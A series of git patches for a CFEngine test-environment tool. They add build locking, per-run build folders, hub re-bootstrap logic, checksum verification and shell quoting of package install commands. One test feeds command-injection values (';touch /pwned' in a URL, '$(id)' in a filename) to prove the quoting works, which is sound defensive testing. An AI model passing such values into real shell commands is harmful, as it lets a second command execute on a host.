@@ import shutil import socket import sys +import tempfile import urllib.request from pathlib import Path @@ -698,9 +699,15 @@ def build_policy(content: dict, masterfiles: str, cache_dir: str) -> str: raise RunnerError(f"Unsupported masterfiles version: {masterfiles}") if not os.path.isfile(os.path.join(base, "cfbs.json")): emit("step", step="build", message=f"Downloading masterfiles {masterfiles}") - shutil.rmtree(base, ignore_errors=True) - os.makedirs(base) - cfpb_backend._run_cfbs_init(base, masterfiles) + # cfbs writes cfbs.json before downloading: move it into place only once complete. + os.makedirs(os.path.dirname(base), exist_ok=True) + scratch = tempfile.mkdtemp(prefix=".init-", dir=os.path.dirname(base)) + try: + cfpb_backend._run_cfbs_init(scratch, masterfiles) + shutil.rmtree(base, ignore_errors=True) + os.replace(scratch, base) + finally: + shutil.rmtree(scratch, ignore_errors=True) work = os.path.join(cache_dir, "build") shutil.rmtree(work, ignore_errors=True) shutil.copytree(base, work) diff --git a/python/tests/test_testenv.py b/python/tests/test_testenv.py index 42da481..761b075 100644 --- a/python/tests/test_testenv.py +++ b/python/tests/test_testenv.py @@ -12,6 +12,7 @@ import pytest +import cfpb_backend import cfpb_testenv from cfpb_testenv import RunnerError, docker_host, find_package @@ -213,6 +214,40 @@ def test_build_policy_never_deletes_outside_the_cache(tmp_path: Path): assert (victim / "keep").read_text() == "mine" +def _init_writing_cfbs_json(fail: bool): + def init(directory: str, masterfiles: str): + Path(directory, "cfbs.json").write_text("{}") + if fail: + raise cfpb_backend.InitFailed(f"Couldn't download masterfiles {masterfiles}") + + return init + + +class _Built(Exception): + """Stops build_policy once the masterfiles are in place.""" + + +def _stop_building(*_args): + raise _Built() + + +def test_a_failed_masterfiles_download_leaves_no_cache_behind(tmp_path: Path, monkeypatch): + monkeypatch.setattr(cfpb_backend, "_run_cfbs_init", _init_writing_cfbs_json(fail=True)) + with pytest.raises(cfpb_backend.InitFailed): + cfpb_testenv.build_policy({}, "3.27.1", str(tmp_path)) + assert os.listdir(tmp_path / "masterfiles") == [] + + +def test_a_masterfiles_download_moves_into_place_once_complete(tmp_path: Path, monkeypatch): + (tmp_path / "masterfiles" / "3.27.1").mkdir(parents=True) # a broken one: no cfbs.json + monkeypatch.setattr(cfpb_backend, "_run_cfbs_init", _init_writing_cfbs_json(fail=False)) + monkeypatch.setattr(cfpb_backend, "_update_cfbs_json", _stop_building) + with pytest.raises(_Built): + cfpb_testenv.build_policy({}, "3.27.1", str(tmp_path)) + assert os.listdir(tmp_path / "masterfiles") == ["3.27.1"] + assert os.listdir(tmp_path / "masterfiles" / "3.27.1") == ["cfbs.json"] + + class _Container: def __init__(self, owner: str): self.labels, self.removed = {cfpb_testenv.LABEL_OWNER: owner}, False From 4c22a17f64669a0f2e7159036430cf15f6d66f4c Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:41:12 +0300 Subject: [PATCH 106/141] testenv: Overlapping test runs no longer build in the same folder Every run wiped and rebuilt one shared build folder, so one environment could deploy another's policy or fail mid-copy. Each run now builds in a temporary folder of its own, removed afterwards, and downloading a masterfiles version is serialised with a file lock. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 151 +++++++++++++++++++++++------------ python/tests/test_testenv.py | 38 +++++++-- 2 files changed, 134 insertions(+), 55 deletions(-) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 8e8a538..5948e1e 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -6,6 +6,7 @@ from __future__ import annotations +import contextlib import hashlib import json import os @@ -16,6 +17,7 @@ import tempfile import urllib.request from pathlib import Path +from typing import Iterator # The platforms CFEngine supports that run in a Linux container: the base image, the CFEngine # package platform it takes (release data classexpr) and how packages install. RHEL-compatible @@ -683,8 +685,50 @@ def _deploy(engine, hub, masterfiles: str, host_id: str | None = None) -> None: MASTERFILES = re.compile(r"^(\d+\.\d+\.\d+(-\d+)?|master)$") -def build_policy(content: dict, masterfiles: str, cache_dir: str) -> str: - """Builds the project as a policy set (cfbs) in a scratch copy; returns its out/masterfiles. +@contextlib.contextmanager +def _locked(path: str) -> Iterator[None]: + """Holds an exclusive lock on the file `path` (across processes) for the block.""" + with open(path, "a+b") as handle: + if sys.platform == "win32": + import msvcrt + + handle.seek(0) + while True: + try: + msvcrt.locking(handle.fileno(), msvcrt.LK_LOCK, 1) + break + except OSError: # LK_LOCK gives up after 10 s + continue + try: + yield + finally: + handle.seek(0) + msvcrt.locking(handle.fileno(), msvcrt.LK_UNLCK, 1) + else: + import fcntl + + fcntl.flock(handle, fcntl.LOCK_EX) + yield # closing the file unlocks it + + +@contextlib.contextmanager +def built_policy(request: dict, built: str | None = None) -> Iterator[str]: + """The project built as a policy set in a folder of this run's own (runs may overlap), + removed afterwards; yields its out/masterfiles. `built`: one the caller built already.""" + if built: + yield built + return + builds = os.path.join(request["cacheDir"], "build") + os.makedirs(builds, exist_ok=True) + work = tempfile.mkdtemp(dir=builds) + try: + yield build_policy(request["content"], request["masterfiles"], request["cacheDir"], work) + finally: + shutil.rmtree(work, ignore_errors=True) + + +def build_policy(content: dict, masterfiles: str, cache_dir: str, work: str) -> str: + """Builds the project as a policy set (cfbs) in `work`; returns its out/masterfiles. One pristine `cfbs init` per masterfiles version is kept, so a rebuild needs no network.""" import cfbs.main from cfbs.cfbs_config import CFBSConfig @@ -698,19 +742,20 @@ def build_policy(content: dict, masterfiles: str, cache_dir: str) -> str: if os.path.dirname(os.path.realpath(base)) != os.path.realpath(os.path.join(cache_dir, "masterfiles")): raise RunnerError(f"Unsupported masterfiles version: {masterfiles}") if not os.path.isfile(os.path.join(base, "cfbs.json")): - emit("step", step="build", message=f"Downloading masterfiles {masterfiles}") - # cfbs writes cfbs.json before downloading: move it into place only once complete. os.makedirs(os.path.dirname(base), exist_ok=True) - scratch = tempfile.mkdtemp(prefix=".init-", dir=os.path.dirname(base)) - try: - cfpb_backend._run_cfbs_init(scratch, masterfiles) - shutil.rmtree(base, ignore_errors=True) - os.replace(scratch, base) - finally: - shutil.rmtree(scratch, ignore_errors=True) - work = os.path.join(cache_dir, "build") - shutil.rmtree(work, ignore_errors=True) - shutil.copytree(base, work) + with _locked(os.path.join(os.path.dirname(base), ".lock")): + # Another run may have downloaded it while this one waited. + if not os.path.isfile(os.path.join(base, "cfbs.json")): + emit("step", step="build", message=f"Downloading masterfiles {masterfiles}") + # cfbs writes cfbs.json before downloading: move it into place only once complete. + scratch = tempfile.mkdtemp(prefix=".init-", dir=os.path.dirname(base)) + try: + cfpb_backend._run_cfbs_init(scratch, masterfiles) + shutil.rmtree(base, ignore_errors=True) + os.replace(scratch, base) + finally: + shutil.rmtree(scratch, ignore_errors=True) + shutil.copytree(base, work, dirs_exist_ok=True) options = {"type": "policy-set", "name": "test", "description": "Test build", "git": False, "content": content} cfpb_backend._update_cfbs_json(work, options) emit("step", step="build", message="Building the policy set") @@ -728,10 +773,10 @@ def _bootstrapped(engine, container) -> bool: return run_in(engine, container, "test -s /var/cfengine/policy_server.dat", None, "quiet") == 0 -def up(request: dict, finish: bool = True) -> str: +def up(request: dict, finish: bool = True, masterfiles_dir: str | None = None) -> None: """Start: build the policy, make sure every host's container exists and runs CFEngine, deploy - the policy to the hub and bootstrap everyone to it. Returns the built masterfiles. With - `hosts`, only those (and the hub they bootstrap to) are set up.""" + the policy to the hub and bootstrap everyone to it (`masterfiles_dir`: a policy set built already). + With `hosts`, only those (and the hub they bootstrap to) are set up.""" env, engine = request["environment"], client() sweep_orphans(engine) every = env.get("hosts") or [] @@ -743,36 +788,42 @@ def up(request: dict, finish: bool = True) -> str: # x86-64 by default, also on Apple Silicon (emulated there): the widest set of packages. arch = env.get("arch") or "x86_64" edition, version = env.get("edition", "community"), env.get("version", "latest") - masterfiles_dir = build_policy(request["content"], request["masterfiles"], request["cacheDir"]) - dotenv = read_dotenv(request.get("envFile")) - _network(engine, env) - containers = {} - for host in sorted(hosts, key=lambda h: h is not hub_host): - emit("host", host=host["id"], state="provisioning") - image = ensure_image( - engine, host["platform"], edition, version, host is hub_host, arch, host["id"], host.get("image") or None - ) - containers[host["id"]] = _ensure_container(engine, env, host, image, host_env(env, host, dotenv)) - hub = containers[hub_host["id"]] - _deploy(engine, hub, masterfiles_dir, hub_host["id"]) - hub_ip = _ip(engine, hub, env) - for host in sorted(hosts, key=lambda h: h is not hub_host): - container = containers[host["id"]] - if not _bootstrapped(engine, container): - emit("step", host=host["id"], step="bootstrap", message=f"Bootstrapping to {hub_ip}") - environment = host_env(env, host, dotenv) - _check( - run_in( - engine, container, f"{CFENGINE}/cf-agent --bootstrap {hub_ip}", host["id"], "setup", environment - ), - "Bootstrap", + with built_policy(request, masterfiles_dir) as masterfiles_dir: + dotenv = read_dotenv(request.get("envFile")) + _network(engine, env) + containers = {} + for host in sorted(hosts, key=lambda h: h is not hub_host): + emit("host", host=host["id"], state="provisioning") + image = ensure_image( + engine, + host["platform"], + edition, + version, + host is hub_host, + arch, + host["id"], + host.get("image") or None, ) - emit("host", host=host["id"], state="ready", container=container.name, ip=_ip(engine, container, env)) - if edition == "enterprise": - _setup_code(engine, hub, hub_host) - if finish: - emit("done") - return masterfiles_dir + containers[host["id"]] = _ensure_container(engine, env, host, image, host_env(env, host, dotenv)) + hub = containers[hub_host["id"]] + _deploy(engine, hub, masterfiles_dir, hub_host["id"]) + hub_ip = _ip(engine, hub, env) + for host in sorted(hosts, key=lambda h: h is not hub_host): + container = containers[host["id"]] + if not _bootstrapped(engine, container): + emit("step", host=host["id"], step="bootstrap", message=f"Bootstrapping to {hub_ip}") + environment = host_env(env, host, dotenv) + _check( + run_in( + engine, container, f"{CFENGINE}/cf-agent --bootstrap {hub_ip}", host["id"], "setup", environment + ), + "Bootstrap", + ) + emit("host", host=host["id"], state="ready", container=container.name, ip=_ip(engine, container, env)) + if edition == "enterprise": + _setup_code(engine, hub, hub_host) + if finish: + emit("done") def _setup_code(engine, hub, hub_host: dict) -> None: @@ -877,9 +928,9 @@ def run(request: dict, masterfiles_dir: str | None = None) -> None: missing = [h["name"] for h in needed if h["id"] not in containers or containers[h["id"]].status != "running"] if hub_host is None or missing: raise RunnerError(f"Start the environment first ({', '.join(missing) or 'no hosts'} not running)") - masterfiles_dir = masterfiles_dir or build_policy(request["content"], request["masterfiles"], request["cacheDir"]) hub = containers[hub_host["id"]] - _deploy(engine, hub, masterfiles_dir, hub_host["id"]) + with built_policy(request, masterfiles_dir) as built: + _deploy(engine, hub, built, hub_host["id"]) # Where each block's lines are, to trace errors back to blocks. from cfpb_compiler import compile_project @@ -931,7 +982,9 @@ def run(request: dict, masterfiles_dir: str | None = None) -> None: def test(request: dict) -> None: """Run Test: Start what isn't up yet, then run the policy everywhere.""" - run(request, up(request, finish=False)) + with built_policy(request) as masterfiles_dir: + up(request, finish=False, masterfiles_dir=masterfiles_dir) + run(request, masterfiles_dir) def reset(request: dict) -> None: diff --git a/python/tests/test_testenv.py b/python/tests/test_testenv.py index 761b075..a65e62b 100644 --- a/python/tests/test_testenv.py +++ b/python/tests/test_testenv.py @@ -199,7 +199,9 @@ def test_build_policy_refuses_a_masterfiles_version_that_is_not_a_release(tmp_pa victim.mkdir() (victim / "keep").write_text("mine") with pytest.raises(RunnerError, match="Unsupported masterfiles version"): - cfpb_testenv.build_policy({}, str(victim) if version == "/victim" else version, str(tmp_path / "cache")) + cfpb_testenv.build_policy( + {}, str(victim) if version == "/victim" else version, str(tmp_path / "cache"), str(tmp_path / "work") + ) assert (victim / "keep").read_text() == "mine" @@ -210,7 +212,7 @@ def test_build_policy_never_deletes_outside_the_cache(tmp_path: Path): (tmp_path / "cache" / "masterfiles").mkdir(parents=True) (tmp_path / "cache" / "masterfiles" / "3.27.1").symlink_to(victim) with pytest.raises(RunnerError, match="Unsupported masterfiles version"): - cfpb_testenv.build_policy({}, "3.27.1", str(tmp_path / "cache")) + cfpb_testenv.build_policy({}, "3.27.1", str(tmp_path / "cache"), str(tmp_path / "work")) assert (victim / "keep").read_text() == "mine" @@ -234,8 +236,8 @@ def _stop_building(*_args): def test_a_failed_masterfiles_download_leaves_no_cache_behind(tmp_path: Path, monkeypatch): monkeypatch.setattr(cfpb_backend, "_run_cfbs_init", _init_writing_cfbs_json(fail=True)) with pytest.raises(cfpb_backend.InitFailed): - cfpb_testenv.build_policy({}, "3.27.1", str(tmp_path)) - assert os.listdir(tmp_path / "masterfiles") == [] + cfpb_testenv.build_policy({}, "3.27.1", str(tmp_path), str(tmp_path / "work")) + assert os.listdir(tmp_path / "masterfiles") == [".lock"] def test_a_masterfiles_download_moves_into_place_once_complete(tmp_path: Path, monkeypatch): @@ -243,11 +245,35 @@ def test_a_masterfiles_download_moves_into_place_once_complete(tmp_path: Path, m monkeypatch.setattr(cfpb_backend, "_run_cfbs_init", _init_writing_cfbs_json(fail=False)) monkeypatch.setattr(cfpb_backend, "_update_cfbs_json", _stop_building) with pytest.raises(_Built): - cfpb_testenv.build_policy({}, "3.27.1", str(tmp_path)) - assert os.listdir(tmp_path / "masterfiles") == ["3.27.1"] + cfpb_testenv.build_policy({}, "3.27.1", str(tmp_path), str(tmp_path / "work")) + assert sorted(os.listdir(tmp_path / "masterfiles")) == [".lock", "3.27.1"] assert os.listdir(tmp_path / "masterfiles" / "3.27.1") == ["cfbs.json"] +def test_overlapping_runs_build_in_folders_of_their_own(tmp_path: Path, monkeypatch): + monkeypatch.setattr(cfpb_testenv, "build_policy", lambda content, masterfiles, cache, work: work) + request = {"content": {}, "masterfiles": "3.27.1", "cacheDir": str(tmp_path)} + with cfpb_testenv.built_policy(request) as first, cfpb_testenv.built_policy(request) as second: + assert first != second + assert Path(first).parent == Path(second).parent == tmp_path / "build" + with cfpb_testenv.built_policy(request, first) as reused: + assert reused == first + assert Path(first).is_dir() + assert os.listdir(tmp_path / "build") == [] + + +@pytest.mark.skipif(sys.platform == "win32", reason="checks the lock with flock") +def test_the_masterfiles_lock_is_held_for_the_block(tmp_path: Path): + import fcntl + + lock = tmp_path / ".lock" + with cfpb_testenv._locked(str(lock)): + with open(lock, "a+b") as other, pytest.raises(BlockingIOError): + fcntl.flock(other, fcntl.LOCK_EX | fcntl.LOCK_NB) + with open(lock, "a+b") as other: + fcntl.flock(other, fcntl.LOCK_EX | fcntl.LOCK_NB) + + class _Container: def __init__(self, owner: str): self.labels, self.removed = {cfpb_testenv.LABEL_OWNER: owner}, False From 58b66cf53cb17c2dc3e8336f05cf243cbe78d33b Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:41:55 +0300 Subject: [PATCH 107/141] python: Init cleans up after a timeout or an exit from cfbs too The cleanup caught only Exception, so cfbs calling sys.exit, or the init timeout's SIGTERM, left a half-made project whose cfbs.json blocked a retry with the same name. SIGTERM now unwinds as its own exit type, which init cleans up after and re-raises. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_backend.py | 10 ++++++++-- python/tests/test_cfpb_backend.py | 26 ++++++++++++++++++++++++++ 2 files changed, 34 insertions(+), 2 deletions(-) diff --git a/python/cfpb_backend.py b/python/cfpb_backend.py index af2df61..000e5ac 100644 --- a/python/cfpb_backend.py +++ b/python/cfpb_backend.py @@ -51,6 +51,10 @@ class InitFailed(Exception): """Init went wrong after we started touching the disk: exit 1, cleaned up.""" +class Terminated(SystemExit): + """SIGTERM, as an exit that cleanup can tell apart from a library's own sys.exit.""" + + def format_command() -> int: try: format_policy_fin_fout(sys.stdin, sys.stdout, LINE_LENGTH, False) @@ -284,8 +288,10 @@ def init_command() -> int: config = _update_cfbs_json(directory, options) if options["git"]: _git_commit_all(directory) - except Exception as error: + except BaseException as error: # cfbs may sys.exit; SIGTERM unwinds as Terminated _clean_up(directory, created) + if isinstance(error, (Terminated, KeyboardInterrupt)): + raise message = str(error) if isinstance(error, InitFailed) else f"Init failed: {type(error).__name__}: {error}" print(message, file=sys.stderr) return 1 @@ -471,7 +477,7 @@ def testenv_command(action: str) -> int: def _terminated(signum, _frame) -> None: """Cancel, quit and timeouts SIGTERM us: unwind, so `finally` blocks remove what we started.""" - sys.exit(128 + signum) + raise Terminated(128 + signum) def main(argv: list[str] | None = None) -> int: diff --git a/python/tests/test_cfpb_backend.py b/python/tests/test_cfpb_backend.py index 396d009..84cb167 100644 --- a/python/tests/test_cfpb_backend.py +++ b/python/tests/test_cfpb_backend.py @@ -307,6 +307,32 @@ def explode(*_args): assert not project.exists() +def _exit_after_writing(error: BaseException): + def init(directory: str, masterfiles: str): + Path(directory, "cfbs.json").write_text("{}") + raise error + + return init + + +def test_init_cleans_up_when_cfbs_exits(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): + project = tmp_path / "project" + monkeypatch.setattr("cfpb_backend._run_cfbs_init", _exit_after_writing(SystemExit(1))) + code, _, stderr = _init(_options(project), monkeypatch) + + assert code == 1 + assert stderr.strip().splitlines()[-1] == "Init failed: SystemExit: 1" + assert not project.exists() + + +def test_init_cleans_up_when_terminated_and_still_exits(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): + project = tmp_path / "project" + monkeypatch.setattr("cfpb_backend._run_cfbs_init", _exit_after_writing(cfpb_backend.Terminated(143))) + with pytest.raises(cfpb_backend.Terminated): + _init(_options(project), monkeypatch) + assert not project.exists() + + def test_init_reports_a_cfbs_download_failure_as_a_network_error(tmp_path: Path, monkeypatch: pytest.MonkeyPatch): def offline(*_args, **_kwargs): raise __import__("cfbs.utils").utils.CFBSNetworkError("Failed to get JSON from 'https://example'") From bd1fc4cc417d4bdbd907ef8a05222fca9b001e6f Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:43:04 +0300 Subject: [PATCH 108/141] testenv: Clients bootstrap again when Start recreates the hub A port change, or "latest" resolving to a new release, recreated the hub with new keys while its clients kept trusting the old one, so their update.cf failed. When the hub is new, Start now has every client that knew the old hub forget it and bootstrap again, which Recreate relied on doing itself before. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 38 +++++++++++++++------------ python/tests/test_testenv.py | 50 ++++++++++++++++++++++++++++++++++++ 2 files changed, 72 insertions(+), 16 deletions(-) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 5948e1e..2c587dd 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -791,8 +791,9 @@ def up(request: dict, finish: bool = True, masterfiles_dir: str | None = None) - with built_policy(request, masterfiles_dir) as masterfiles_dir: dotenv = read_dotenv(request.get("envFile")) _network(engine, env) - containers = {} - for host in sorted(hosts, key=lambda h: h is not hub_host): + existing, containers, stale = _labelled(engine, env), {}, set() + order = sorted(hosts, key=lambda h: h is not hub_host) + for host in order: emit("host", host=host["id"], state="provisioning") image = ensure_image( engine, @@ -804,11 +805,20 @@ def up(request: dict, finish: bool = True, masterfiles_dir: str | None = None) - host["id"], host.get("image") or None, ) - containers[host["id"]] = _ensure_container(engine, env, host, image, host_env(env, host, dotenv)) + container = _ensure_container(engine, env, host, image, host_env(env, host, dotenv)) + containers[host["id"]] = container + kept = host["id"] in existing and existing[host["id"]].id == container.id + if host is hub_host and not kept: + # A new hub has new keys: every client that knew the old one bootstraps again (the + # hub comes first, so the loop goes on over those it adds). + stale = {h["id"] for h in every if h is not hub_host and h["id"] in existing} + order += [h for h in every if h["id"] in stale and h not in order] + elif host["id"] in stale and kept: + _forget_hub(engine, container, host["id"]) hub = containers[hub_host["id"]] _deploy(engine, hub, masterfiles_dir, hub_host["id"]) hub_ip = _ip(engine, hub, env) - for host in sorted(hosts, key=lambda h: h is not hub_host): + for host in order: container = containers[host["id"]] if not _bootstrapped(engine, container): emit("step", host=host["id"], step="bootstrap", message=f"Bootstrapping to {hub_ip}") @@ -826,6 +836,12 @@ def up(request: dict, finish: bool = True, masterfiles_dir: str | None = None) - emit("done") +def _forget_hub(engine, container, host_id: str) -> None: + """Drops what a client knows of its hub, so it bootstraps again.""" + emit("step", host=host_id, step="bootstrap", message="Forgetting the old hub") + run_in(engine, container, "rm -f /var/cfengine/policy_server.dat /var/cfengine/ppkeys/root-*.pub", host_id, "setup") + + def _setup_code(engine, hub, hub_host: dict) -> None: """A fresh Mission Portal first-login code (it expires after an hour).""" exec_id = engine.api.exec_create(hub.id, [f"{CFENGINE}/cf-hub", "--new-setup-code"])["Id"] @@ -989,7 +1005,7 @@ def test(request: dict) -> None: def reset(request: dict) -> None: """Recreate: removes `hosts`' containers, then sets them up fresh and runs the policy on them. - A new hub has new keys, so the other clients forget the old one and bootstrap again.""" + A new hub has new keys, so the other clients bootstrap again (see `up`) and run too.""" env, engine = request["environment"], client() only = set(request.get("hosts") or []) if not only: @@ -1003,17 +1019,7 @@ def reset(request: dict) -> None: hosts = env.get("hosts") or [] hub_host = next((h for h in hosts if h["id"] == env.get("hub")), hosts[0] if hosts else None) if hub_host and hub_host["id"] in only: - for host in hosts: - container = containers.get(host["id"]) - if host is hub_host or host["id"] in only or container is None: - continue - # A stopped client would come back trusting the old hub: start it and re-bootstrap it too. - if container.status != "running": - container.start() - emit("step", host=host["id"], step="bootstrap", message="Forgetting the old hub") - forget = "rm -f /var/cfengine/policy_server.dat /var/cfengine/ppkeys/root-*.pub" - run_in(engine, container, forget, host["id"], "setup") - only.add(host["id"]) + only |= {host["id"] for host in hosts if host["id"] in containers} test({**request, "hosts": sorted(only)}) diff --git a/python/tests/test_testenv.py b/python/tests/test_testenv.py index a65e62b..2800904 100644 --- a/python/tests/test_testenv.py +++ b/python/tests/test_testenv.py @@ -274,6 +274,56 @@ def test_the_masterfiles_lock_is_held_for_the_block(tmp_path: Path): fcntl.flock(other, fcntl.LOCK_EX | fcntl.LOCK_NB) +class _Running: + def __init__(self, container_id: str): + self.id = self.name = container_id + + +@pytest.mark.parametrize("hub_recreated", [True, False]) +def test_a_recreated_hub_makes_every_client_bootstrap_to_it_again(monkeypatch, hub_recreated: bool): + hosts = [{"id": h, "name": h, "platform": "ubuntu-24"} for h in ("hub", "a", "b")] + before = {h: _Running(h) for h in ("hub", "a", "b")} + after = {**before, "hub": _Running("new-hub") if hub_recreated else before["hub"]} + bootstrapped = {"hub", "a", "b"} - ({"new-hub"} if hub_recreated else set()) + commands = [] + + def run_in(engine, container, command, host, stream, environment=None, keep=None): + commands.append((host, command.split()[0].rsplit("/", 1)[-1])) + if command.startswith("rm -f /var/cfengine/policy_server.dat"): + bootstrapped.discard(container.id) + if "--bootstrap" in command: + bootstrapped.add(container.id) + return 0 + + for name, fake in { + "client": lambda: None, + "sweep_orphans": lambda engine: None, + "_network": lambda engine, env: None, + "_labelled": lambda engine, env: before, + "ensure_image": lambda *args: "image", + "_ensure_container": lambda engine, env, host, image, environment: after[host["id"]], + "_deploy": lambda *args: None, + "_ip": lambda *args: "10.0.0.2", + "_bootstrapped": lambda engine, container: container.id in bootstrapped, + "run_in": run_in, + }.items(): + monkeypatch.setattr(cfpb_testenv, name, fake) + + # Starting only "a": "b" also knew the old hub. + cfpb_testenv.up({"environment": {"id": "e", "hub": "hub", "hosts": hosts}, "hosts": ["a"]}, masterfiles_dir="built") + + if hub_recreated: + assert commands == [ + ("a", "rm"), + ("b", "rm"), + ("hub", "cf-agent"), + ("a", "cf-agent"), + ("b", "cf-agent"), + ] + else: + assert commands == [] + + class _Container: def __init__(self, owner: str): self.labels, self.removed = {cfpb_testenv.LABEL_OWNER: owner}, False From 8d45535a7d7f170050bcbf51856e24508e582fd6 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:44:54 +0300 Subject: [PATCH 109/141] testenv: Test hosts install a CFEngine package only if its checksum matches The release data's SHA-256 was fetched but never checked, and the package URL went unquoted into a shell command. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 16 +++++++++++++--- python/tests/test_testenv.py | 19 +++++++++++++++++++ 2 files changed, 32 insertions(+), 3 deletions(-) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 2c587dd..8f9a9d2 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -11,6 +11,7 @@ import json import os import re +import shlex import shutil import socket import sys @@ -431,6 +432,17 @@ def _has_image(engine, image: str, arch: str) -> bool: return False +def install_command(found: dict, install: str) -> str: + """Downloads a package (from `package`), checks it against the release data's SHA-256, installs it.""" + sha256 = str(found.get("sha256") or "").lower() + if not re.fullmatch(r"[0-9a-f]{64}", sha256): + raise RunnerError(f"No checksum for {found['filename']} in CFEngine's release data") + path = f"/tmp/{found['filename']}" + file, check = shlex.quote(path), shlex.quote(f"{sha256} {path}") + download = f"curl -fsSL -o {file} {shlex.quote(found['url'])}" + return f"{download} && echo {check} | sha256sum -c - && {install.format(file=file)} && rm {file}" + + def ensure_image( engine, platform: str, @@ -476,9 +488,7 @@ def ensure_image( try: prerequisites, install = INSTALL[spec["family"]] _check(run_in(engine, builder, prerequisites, None, "setup"), "Installing prerequisites") - file = f"/tmp/{found['filename']}" - command = f"curl -fsSL -o {file} {found['url']} && {install.format(file=file)} && rm {file}" - _check(run_in(engine, builder, command, None, "setup"), "Installing CFEngine") + _check(run_in(engine, builder, install_command(found, install), None, "setup"), "Installing CFEngine") # The image keeps the builder's labels: blank the owner, or its containers would be swept. changes = ['ENTRYPOINT [""]', 'CMD ["sleep", "infinity"]', "USER root", f"LABEL {LABEL_OWNER}="] builder.commit(repository=repository, tag=tag, changes=changes) diff --git a/python/tests/test_testenv.py b/python/tests/test_testenv.py index 2800904..59e4dfe 100644 --- a/python/tests/test_testenv.py +++ b/python/tests/test_testenv.py @@ -274,6 +274,25 @@ def test_the_masterfiles_lock_is_held_for_the_block(tmp_path: Path): fcntl.flock(other, fcntl.LOCK_EX | fcntl.LOCK_NB) +def test_the_package_is_checked_against_its_checksum_before_it_installs(): + found = {"url": "https://cfengine.com/p/cfengine.deb", "filename": "cfengine.deb", "sha256": "AB" * 32} + command = cfpb_testenv.install_command(found, "apt-get install -y {file}") + assert command == ( + "curl -fsSL -o /tmp/cfengine.deb https://cfengine.com/p/cfengine.deb" + f" && echo '{'ab' * 32} /tmp/cfengine.deb' | sha256sum -c -" + " && apt-get install -y /tmp/cfengine.deb && rm /tmp/cfengine.deb" + ) + + +def test_a_package_without_a_checksum_or_with_odd_names_is_never_run_as_is(): + with pytest.raises(RunnerError, match="No checksum"): + cfpb_testenv.install_command({"url": "https://x/p.deb", "filename": "p.deb", "sha256": None}, "{file}") + found = {"url": "https://x/p.deb;touch /pwned", "filename": "p $(id).deb", "sha256": "0" * 64} + command = cfpb_testenv.install_command(found, "dnf install -y {file}") + assert "'https://x/p.deb;touch /pwned'" in command + assert "dnf install -y '/tmp/p $(id).deb'" in command + + class _Running: def __init__(self, container_id: str): self.id = self.name = container_id From b20e8b57772d968b8b2e8611b34b7a4215306dfa Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:45:38 +0300 Subject: [PATCH 110/141] testenv: .env values no longer go into the test containers' config They were set at create time too, so `docker inspect` showed them and a rotated secret stayed in the container until it was recreated. Every command that needs them (bootstrap, agent runs, the terminal) already gets them per exec; containers made before keep their old values until recreated. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 6 +++--- python/tests/test_testenv.py | 19 ++++++++++++++++++- 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 8f9a9d2..1aed940 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -642,7 +642,7 @@ def _config_hash(image: str, host: dict) -> str: return hashlib.sha256(json.dumps([image, host["name"], ports, PUBLISH_ADDRESS]).encode()).hexdigest()[:16] -def _ensure_container(engine, env: dict, host: dict, image: str, environment: dict): +def _ensure_container(engine, env: dict, host: dict, image: str): existing = _labelled(engine, env).get(host["id"]) config = _config_hash(image, host) if existing is not None and existing.labels.get(LABEL_CONFIG) != config: @@ -654,6 +654,7 @@ def _ensure_container(engine, env: dict, host: dict, image: str, environment: di existing.start() return existing emit("step", host=host["id"], step="create", message=f"Creating {container_name(env, host)}") + # No environment: .env values go with each command (run_in), not into `docker inspect`. return engine.containers.run( image, "sleep infinity", @@ -664,7 +665,6 @@ def _ensure_container(engine, env: dict, host: dict, image: str, environment: di network=network_name(env), platform=DOCKER_PLATFORM.get(env.get("arch") or "x86_64"), ports={f"{int(p['container'])}/tcp": (PUBLISH_ADDRESS, int(p["host"])) for p in host.get("ports") or []}, - environment=environment, labels={LABEL_ENV: env["id"], LABEL_HOST: host["id"], LABEL_CONFIG: config}, ) @@ -815,7 +815,7 @@ def up(request: dict, finish: bool = True, masterfiles_dir: str | None = None) - host["id"], host.get("image") or None, ) - container = _ensure_container(engine, env, host, image, host_env(env, host, dotenv)) + container = _ensure_container(engine, env, host, image) containers[host["id"]] = container kept = host["id"] in existing and existing[host["id"]].id == container.id if host is hub_host and not kept: diff --git a/python/tests/test_testenv.py b/python/tests/test_testenv.py index 59e4dfe..94d1e5f 100644 --- a/python/tests/test_testenv.py +++ b/python/tests/test_testenv.py @@ -293,6 +293,23 @@ def test_a_package_without_a_checksum_or_with_odd_names_is_never_run_as_is(): assert "dnf install -y '/tmp/p $(id).deb'" in command +def test_containers_are_created_without_the_environment_variables(monkeypatch): + created = {} + + class Containers: + def run(self, image, command, **options): + created.update(options) + return "container" + + monkeypatch.setattr(cfpb_testenv, "_labelled", lambda engine, env: {}) + engine = type("Engine", (), 